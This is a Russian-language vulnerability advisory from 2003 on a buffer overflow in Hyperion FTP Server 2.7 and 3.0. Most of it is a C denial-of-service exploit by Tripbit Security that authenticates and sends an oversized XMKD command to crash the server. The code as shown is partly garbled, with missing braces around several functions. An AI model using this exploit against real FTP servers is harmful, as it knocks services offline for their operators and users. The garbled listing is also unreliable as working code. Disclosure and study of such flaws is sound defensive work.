| Дата публикации: | 10.04.2003 |
| Всего просмотров: | 1325 |
| Опасность: | |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Описание: | Переполнение буфера обнаружено в Hyperion FTP Server. Удаленный пользователь может аварийно завершить работу FTP сервиса и может получить System привилегии на целевом сервере.
Tripbit Security сообщил, что удаленный авторизованный пользователь, включая анонимного пользователя, может аварийно завершить работу FTP сервера, выполняя FTP команды (типа 'mkdir') с буфером, более 251 байт. Удаленный авторизованный пользователь, эксплуатирующий эту уязвимость, может выполнить произвольный код с System привилегиями. Пример:
/*******************************************************************************
* Denial of Service Attack for Mollensoft Hyperion FTP Server 3.0
* ---------------------------------------------------------------
* Note: This paper is ONLY for INFORMATION purposes and not for any
* destructive acts!
* Note: Dieser Text ist ausschließlich NUR für Informationszwecke gedacht
* und nicht für irgendwelche Zerstörerischen Taten!
*
* Tripbit Security Development
* Author: posidron
* Website: tripbit.org
* Vulnerable Version:
* + Hyperion 3.0
* + Hyperion 2.7
* Compile:
* bcc32 -lx ws2_32.lib hyperion.c
*
* Execute:
* hyperion <host> [user] [pass]
* Thx:
* MisterMoe, Rushjo, Tec, PeaceTreaty, seth
*******************************************************************************/
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#define A 0x41
#define PORT 21
#define MAX_BUFFER 255
#define MAX_PACKET_BUFFER 1024
int winsock(void);
void usage(char *prog_name)
printf("Usage: %s <host> [user] [pass] \n", prog_name);
exit(-1);
int main(int argc, char *argv[])
char buffer[MAX_BUFFER], packet_buffer[MAX_PACKET_BUFFER];
long rc = winsock();
SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addr;
if(argc < 4) usage(argv[0]);
if(s == INVALID_SOCKET)
{
printf("Can't start Socket!, Error code: %d\n", WSAGetLastError());
return 1;
}
if(rc != 0)
{
printf("Can't start Winsock!, Error code: %d\n", rc);
return 1;
}
memset(&addr, 0, sizeof(SOCKADDR_IN));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr((char*)argv[1]);
rc = connect(s,(SOCKADDR*)&addr, sizeof(SOCKADDR));
if(rc == SOCKET_ERROR)
{
printf("Can't connect!, Error code: %d\n", WSAGetLastError());
return 1;
}
printf("Connected to %s \n", argv[1]);
printf("Preparing attack!\n");
recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
sprintf((char *)packet_buffer,"USER %s\r\n",argv[2]);
send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
sprintf((char *)packet_buffer,"PASS %s\r\n",argv[3]);
send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
memset(buffer,A,MAX_BUFFER);
buffer[MAX_BUFFER-1]=0;
sprintf((char *)packet_buffer,"XMKD %s\r\n",buffer);
send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
Sleep(1000);
shutdown(s, 2);
closesocket(s);
WSACleanup();
printf("Attack done!");
return 0;
int winsock(void)
WSADATA wsa;
return WSAStartup(MAKEWORD(2,0), &wsa);
Уязвимость обнаружена в Hyperion FTP Server 2.7, 3.0
|
| Ссылки: | TA-2003-03 Buffer Overflow Vulnerability in Hyperion FTP Server |